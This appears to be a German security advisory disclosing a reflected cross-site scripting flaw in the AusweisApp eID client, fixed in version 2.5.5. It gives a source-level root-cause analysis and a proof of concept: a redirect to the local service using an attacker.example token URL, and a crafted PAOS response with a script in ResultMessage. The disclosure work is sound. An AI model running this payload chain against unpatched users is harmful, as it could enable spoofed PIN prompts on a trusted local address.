AusweisApp: Cross-Site Scripting über PAOS-Fehlermeldungen

Ein Angreifer mit eigenem eID-Server führt über die Fehlerseite des lokalen Aktivierungsdienstes JavaScript im Origin http://127.0.0.1:24727 des Opfers aus.

Advisory-ID: TP-2026-113
Produkt: AusweisApp (offizieller eID-Client für die Online-Ausweisfunktion)
Schwachstellentyp: Reflected Cross-Site Scripting (CWE-79)
CVE: CVE-2026-90848
CVSS 4.0: 5.3 (Mittel) · CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
Betroffene Versionen: <= 2.5.4
Hersteller-Advisory: AusweisApp 2.5.5 Release Notes
Behoben in: 2.5.5
Gemeldet: 7. August 2026

Zusammenfassung

Die AusweisApp startet die Online-Ausweisfunktion über einen lokalen HTTP-Dienst auf http://127.0.0.1:24727, den jede Website mit einer tcTokenURL aufrufen kann. Bricht der Vorgang ab, liefert dieser Dienst dem Browser eine HTML-Fehlerseite und übernimmt dabei die Fehlermeldung des eID-Servers ohne Maskierung. Ein Angreifer betreibt einen eigenen eID-Server, dessen erste PAOS-Antwort ein Skript im Feld ResultMessage trägt, und lenkt das Opfer über seine Website in diesen Ablauf. Dafür braucht er weder Ausweiskarte noch PIN noch ein gültiges Berechtigungszertifikat. Im Browser des Opfers läuft dadurch Angreifer-JavaScript im Origin des lokalen eID-Clients.

Ursache

StartPaosResponse.cpp:49-51 übernimmt das Element ResultMessage der StartPAOSResponse des eID-Servers unverändert und legt es im Ergebnis ab (src/workflows/base/paos/retrieve/StartPaosResponse.cpp:17). Der ResultMinor dp#communicationError wird auf GlobalStatus::Code::Paos_Generic_Server_Error abgebildet (src/global/ECardApiResult.cpp:200), dieser Code fehlt in GlobalStatus::isMessageMasked() (src/global/GlobalStatus.cpp:28), und toErrorDescription(true) gibt deshalb über getExternalInfo() den rohen Servertext zurück (src/global/GlobalStatus.cpp:290-298). Ist die Refresh-URL ungültig, beantwortet UiPluginWebService::sendRedirect die wartende Browser-Anfrage mit sendErrorPage (src/ui/webservice/UiPluginWebService.cpp:305-309), das diesen Text in den Platzhalter MESSAGE_SUBHEADER schreibt (src/ui/webservice/UiPluginWebService.cpp:276). Template::render() ersetzt Platzhalter per reiner Zeichenkettenersetzung ohne HTML-Maskierung (src/network/Template.cpp:77-90), und die Seite geht als text/html an den Browser (src/ui/webservice/UiPluginWebService.cpp:283-287), obwohl dieselbe Datei den User-Agent mit toHtmlEscaped() maskiert (src/ui/webservice/UiPluginWebService.cpp:153). Die erste StartPAOSResponse wird verarbeitet, bevor ein Berechtigungszertifikat geprüft wird, und der TCToken-Abruf prüft nur das https-Schema, nicht den Zielhost (StateGetTcToken.cpp:52-85), sodass ein selbstsigniertes Zertifikat des Angreifer-Servers genügt.

Proof of Concept

1) Angreiferseite navigiert das Opfer auf den lokalen Aktivierungsdienst:
   location = "http://127.0.0.1:24727/eID-Client?tcTokenURL=https://eid.attacker.example/token"

2) TCToken des Angreifer-Servers: ServerAddress https://eid.attacker.example/paos,
   RefreshAddress auf einem fremden Origin (Refresh-URL wird ungültig)

3) Erste PAOS-Antwort des Angreifer-Servers:
<StartPAOSResponse>
  <Result>
    <ResultMajor>http://www.bsi.bund.de/ecard/api/1.1/resultmajor#error</ResultMajor>
    <ResultMinor>http://www.bsi.bund.de/ecard/api/1.1/resultminor/dp#communicationError</ResultMinor>
    <ResultMessage>&lt;script&gt;document.title='XSSPROOF'&lt;/script&gt;</ResultMessage>
  </Result>
</StartPAOSResponse>

-> http://127.0.0.1:24727 antwortet mit HTTP 400, text/html,
   der Body enthält <script>document.title='XSSPROOF'</script> unverändert

Der Fehlercode dp#communicationError gehört zu den nicht maskierten Codes, deshalb landet der Servertext unverändert auf der Fehlerseite. Die Fehlerseite wird nur gesendet, wenn die Refresh-URL ungültig ist, was der Angreifer über eine RefreshAddress auf einem fremden Origin selbst herbeiführt.

Auswirkung

  • Ausführung beliebigen JavaScripts im Origin http://127.0.0.1:24727, den der Browser als lokale Adresse des eID-Clients anzeigt.
  • Täuschend echte Inhalte unter dieser Adresse, etwa eine gefälschte Abfrage der Ausweis-PIN oder gefälschte Statusmeldungen des eID-Clients.
  • Kein direkter Zugriff auf Ausweisdaten: Die Kartenfreigabe bleibt durch PIN-Eingabe und Terminal-Authentisierung geschützt.

Referenzen

Steckt so etwas in Ihrer Software?

Diese Schwachstelle hat unser Team im Rahmen seiner Arbeit gefunden. Lassen Sie Ihre Anwendungen von denselben Spezialisten prüfen, mit einem Penetrationstest von turingpoint.